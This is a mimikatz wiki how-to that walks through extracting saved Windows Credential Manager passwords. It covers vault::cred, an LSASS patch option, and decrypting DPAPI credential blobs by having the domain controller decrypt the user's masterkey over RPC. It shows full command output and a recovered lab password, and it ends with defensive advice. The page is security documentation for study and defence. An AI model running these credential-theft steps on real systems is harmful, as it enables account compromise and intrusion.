howto ~ credential manager saved credentials

Benjamin DELPY edited this page Dec 12, 2017 · 4 revisions

There are somes ways to get savec credentials from the Credential Manager

The normal, the standard, the usual way...

With mimikatz it's easy as: vault::cred

mimikatz # vault::cred
TargetName : genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
Flags      : 00000000
Credential :
Attributes : 0

TargetName : LegacyGeneric:target=genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : Domain:target=domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
Flags      : 00000000
Credential :
Attributes : 0

No magic behind: it uses the standard API CredEnumerate, with Flags at 0 then CRED_ENUMERATE_ALL_CREDENTIALS to try to get them all.

Mixed with: vault::list, it's enough to get a lots of credentials for the current user (especially Web stuff).

Problem

CredentialBlob

blob

Secret data for the credential. The CredentialBlob member can be both read and written.

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

http://msdn.microsoft.com/library/windows/desktop/aa374788.aspx

Workaround

So, if we want access to network shares saved credentials, RDP passwords, etc., we need to be admin to alter LSASS in order to:

  • patch its logic (prevent LSASS to check if type is CRED_TYPE_DOMAIN_PASSWORD) - this is the current behavior of the /patch argument.
  • inject a thread or a module in LSASS to be seen as an authentication packages

Danger

high voltage

danger

This operation will alter LSASS and is NOT recommended, especially when you can use the DPAPI method.

DPAPI (all the things)

a basic introduction on DPAPI stuff is here: module ~ dpapi

Like exposed in https://1drv.ms/x/s!AlQCT5PF61KjmCAhhYO0flOcZE4e, credentials are stored in user's profile.
Usually in:

  • %appdata%\Microsoft\Credentials
  • %localappdata%\Microsoft\Credentials

Let's take a look

Asking dpapi module, cred function of mimikatz, you can view the "content" of a credential file.

mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000050 - 80
  szDescription      : Données d’identification d’entreprise

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 024e83a1b7c1412251dd2718126fca84
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : e2bbe3a6e2fe7120ad9000afc3aa5ec2
  dwDataLen          : 00000090 - 144
  pbData             : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
  dwSignLen          : 00000014 - 20
  pbSign             : d0f3cb42d4f7aa0253a9229c6da5c6697448887f

What is interesting here:

  • dwFlags : 20000000 - 536870912 (system ; ) this is the "bad" new... the DPAPI protected the blob with the CRYPTPROTECT_SYSTEM flag, preventing an unprivilegied process to decrypt the blob... (~= not you, only LSASS)
  • guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2} this is the GUID of the masterkey needed to decrypt the blob. LSASS has it in its cache, or will be able to load it on the fly when needed...

Decrypt

Naive approach

Because of the system flag (protected by the signature of the blob - we can't alter it), LSASS will refuse to unprotect the blob for us...

Decrypting Credential:
 * using CryptUnprotectData API
ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; CryptUnprotectData (0x0000000d)

deeper

The masterkey

Here, thanks to the previous GUID we know that the masterkey is located in: %appdata%\Microsoft\Protect\<usersid>\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2

mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2"
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 704f7ca8be647c20dc36e8ae4127966b
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb7332e220ca76b532602f36520a3a6809fb50893c9d4ae050e0072b44fe522c8f4b4f1f610001530c4f770c76b347ea02fc7baa627efc9e1055255600

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 3afaf040c982786cfa36342d8005a16f
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f1659cd8a193a50bd809848d4dec11439e3da6bb4f66ab4b04aff3ae48e1

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {9c71e914-1ed5-4338-8461-4dcc363553be}
    pbSecret         : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087ac1effacd3cfa4c94413d541f476db2179a9b7ba6b383a28b1d52b165b84d73f27395e6093b883142168c783659a7b9756a787f688154b6fda15e8d0581b1f23c44870f825fd03ee3d52652e3c2e98f946deee7b86a9b3534d210b3f53e4fe29b7ed19050c5981f186ae9f3d8d11228e83c908c2e303d17bca0d625df400731454880f6dda9a7b65afff6198c8f8e580e72bb01ce8faf0d1c1bdac662f6b29698416be99616e0311fe2043660d066c09ab5298a25fb8d911987a89491ab4ef0df529cf1aef5da0340e9da9313a50a94aea0a7010a
    pbAccesscheck    : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18cd96575899fa2a6f46b1f37c9ae3e63e5bb5de12151016bb0afd0efd79ddbbad6c0f36931a11503864d3bd403


Auto SID from path seems to be: S-1-5-21-1719172562-3308538836-3929312420-1104
  • If you are a domain admin, the domainkey part can be very interesting... but here, we consider you are only the current user...
  • If you know the user password, you can easily decrypt the masterkey with it.

So, no solution ? Here, few questions to ask yourself:

  1. how do you deal with smartcard users without NTLM transmitted?
  2. do hippos think rhinos are unicorns?
  3. does a domain user who forgets his logon password lose its saved data?

RPC

In domain, a domain controller runs a RPC Service to deal with encrypted masterkeys for users, MS-BKRP

This service handles the RSA private key associated with all masterkeys of the domain, and is in charge to provided decryption to authorized users (the danger around this never changed RSA private key is another story, we're not admin here ;) - https://twitter.com/gentilkiwi/statuses/609890409830064129 , https://twitter.com/gentilkiwi/statuses/604408115090591744 )

As this cc6eb538-28f1-4ab4-adf2-f5594e88f0b2 master key belongs to the current user, we can certainly use it with the /rpc argument:

mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2" /rpc
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}

[...]

[domainkey] with RPC
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the DC server
  key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f60b4f05034163ff59651e4ad4
  sha1: 81c99543dea591c11f20d69027ea2016d89d07dd

So sweet ! the domain controller has decrypted it for us, and mimikatz has placed it in its cache:

mimikatz # dpapi::cache

CREDENTIALS cache
=================

MASTERKEYS cache
================
GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd

DOMAINKEYS cache
================

With the key in the mimikatz cache, we can display a last time the credential file:

mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000050 - 80
  szDescription      : Données d’identification d’entreprise

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 024e83a1b7c1412251dd2718126fca84
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : e2bbe3a6e2fe7120ad9000afc3aa5ec2
  dwDataLen          : 00000090 - 144
  pbData             : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0f3ee61c4dc52fd2b27ff4e65b23da0a144224b5ac6a66b18f3d7b79ff2c5c892143e102dfbeef461805ea3308bf9abebcd0e0aa1c07097cee43c1cfdd25956d0cfa5cbe5ed19b283c3e4b063d54b15b4fea648417bb5d843be9c282909d8d091a1332f67
  dwSignLen          : 00000014 - 20
  pbSign             : d0f3cb42d4f7aa0253a9229c6da5c6697448887f

Decrypting Credential:
 * volatile cache: GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 0000008e - 142
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 11/12/2017 19:58:36
  unkFlagsOrSize : 00000010 - 16
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=domsrv
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : domusr
  CredentialBlob : dompass
  Attributes     : 0

Good, we now have credentials:

  • Server: domsrv
  • UserName: domusr
  • Password: dompass

Without any particular rights.

good

What you can do?

Nearly nothing... the ability to decrypt its own masterkeys by RPC is by protocol/design... and is needed when using smartcard or when loosing passwords.

But, storing domain credentials in the credential manager is a bad practice... even Microsoft recommend to disable it... (but in the name of legacy, will enable it by default)

Best practices

It is a recommended practice to disable the ability of the Windows operating system to cache credentials on any computer where credentials are not needed. Evaluate your servers and workstations to determine the requirements. Cached credentials are designed primarily to be used on laptops that require domain credentials when disconnected from the domain.

Original text and GPO to disable this kind of sensitive storage: https://technet.microsoft.com/library/jj852185.aspx

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